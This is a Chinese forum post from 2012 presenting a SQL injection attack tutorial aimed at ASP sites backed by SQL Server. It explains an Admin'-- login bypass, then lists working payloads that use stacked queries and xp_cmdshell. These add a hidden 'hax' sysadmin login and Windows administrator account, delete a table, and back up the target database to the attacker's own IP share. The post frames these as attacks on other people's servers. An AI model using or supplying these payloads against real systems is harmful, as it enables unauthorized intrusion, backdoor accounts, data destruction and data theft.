完全解析SQLInjection攻击技术

[复制链接]
查看318 | 回复0 | 2012-4-1 19:24:09 | 显示全部楼层 |阅读模式
前言:

这篇文章是我很久以前的作品了,写完后才知道isno也写了一篇。当我看过isno的那篇后发现了我的文章错了好多个地方,后来我对这篇文章做了一些修改,希望对读者能够有所帮助。


【什么是SQLinjection】



SQLInjection应该称为SQL指令植入式攻击,主要属于InputValidation的问题,它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。


【SQLInjection的原理】一般输入帐号密码的网站的SQL语法为

select*frommemberwhereUID='"&request("ID")&"'AndPasswd='"&request(&quotwd")&"'

如果正常使用者输入帐号pl,密码1234

那么程序便会执行select*frommemberwhereUID='pl' AndPasswd='1234'

输入的帐号和密码等信息会取代ASP(orPHP、JSP)中的变量,並由两个单引号(' ')所包住。那么,如果攻击者已知系统中已有一個Admin的管理者帐号,則输入Admin'--,即可不需输入密码而进入资料库,相应的语句为

select*frommemberwhereUID='Admin'--'nAndPasswd=''

(注:“–”符号后的任何叙述都会被当作注解,也就是说以上例子的And子句将被SQL视为说明用)


【检测漏洞】
对大多数SQL服务器来说,我们并不知道对方程序的具体代码,而靠任何扫描器也不可能发现SQLinjection的漏洞,这样我们就要靠手工检测了。由于我们执行SQL语句会用到单引号、分号、逗号、冒号和“――”,所以我们可以在URL后面加上以上符合,或者在表单中的文本框中加入。比如:

http://jsw/new.asp?id=1'

http://jsw/new.asp?id=1;

通过页面返回的信息,判断是否存在SQLinjection的漏洞,这种方法只是简单的通过字符过滤来判断,根据IIS的配置不同,返回的信息也可能不同。有时显示

MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'login_id'toacolumnofdatatypeint.

/index.asp,line5

也可能是“http500-内部服务器错误”,或者显示正常信息,判断的根据主要是经验啦,因为现在好多服务器的没有出错回显了的。
 
 
【执行系统命令】
SQLinjection攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addloginhax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQLServer账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用

SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....

这种方法请求数据库,那么如果还用以上的例子就会

news.asp?id=2;execsp_addloginhax

变成

SELECT*FROMnewsWHEREid=2;execsp_addloginhaxANDtopic=AND

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法

news.asp?id=2;execsp_addloginhax;--

后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!

如何判断我们的命令是否成功执行了呢?我们先装一个_blank">防火墙,打开ICMP和139TCP和445TCP的警告提示然后提交

news.asp?id=2;execmaster.dbo.xp_cmdshell'ping你的IP'

如果_blank">防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQLServer的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQLServer的位置了

那么我们连一起来用吧

news.asp?id=2;execmaster.dbo.sp_addloginhax;-- 

news.asp?id=2;execmaster.dbo.sp_passwordnull,hax,hax;-- 

news.asp?id=2;execmaster.dbo.sp_addsrvrolemembersysadminhax;-- 

news.asp?id=2;execmaster.dbo.xp_cmdshell'netuserhaxhax/workstations:*/times:all/passwordchg:yes/passwordreq:yes

/active:yes/add';--

news.asp?id=2;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorshax/add';--

这样,你在他的数据库和系统内都留下了hax管理员账号了。

当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了。

运用master..Xp_cmdshell,扩展,我们就可以在目标主机上执行任意命令的,类似的还有xp_startmail,xp_sendmail,sp_makewebtask,具体的用法和master..Xp_cmdshell差不多,我在这里就不多说了。需要指明的是这种攻击方法的前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。

以后我们会讨论,如果对方的ASP不是用SQL管理员账号的时候,我们应该如何攻击。
 
【对数据库的攻击】
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。大家可以试试看

http://jsw/something.asp?newid=117;select123;--

呵呵,报语法错误,select123错误,显而易见,这个ASP在newid变量后面用'号结束

那么试试看http://jsw/something..asp?newid=117';deletenews;--

哈哈,我想只要表名猜对了,数据库里面的信息就被删了。

还有一种的作法,就是提交

news.asp?id=2;declare@a;set@a=db_name();backupdatabase@atodisk='你的IP你的共享目录bak.dat',name='test';--

呵呵,你的_blank">防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露,其实backuodatabase到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。
 
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则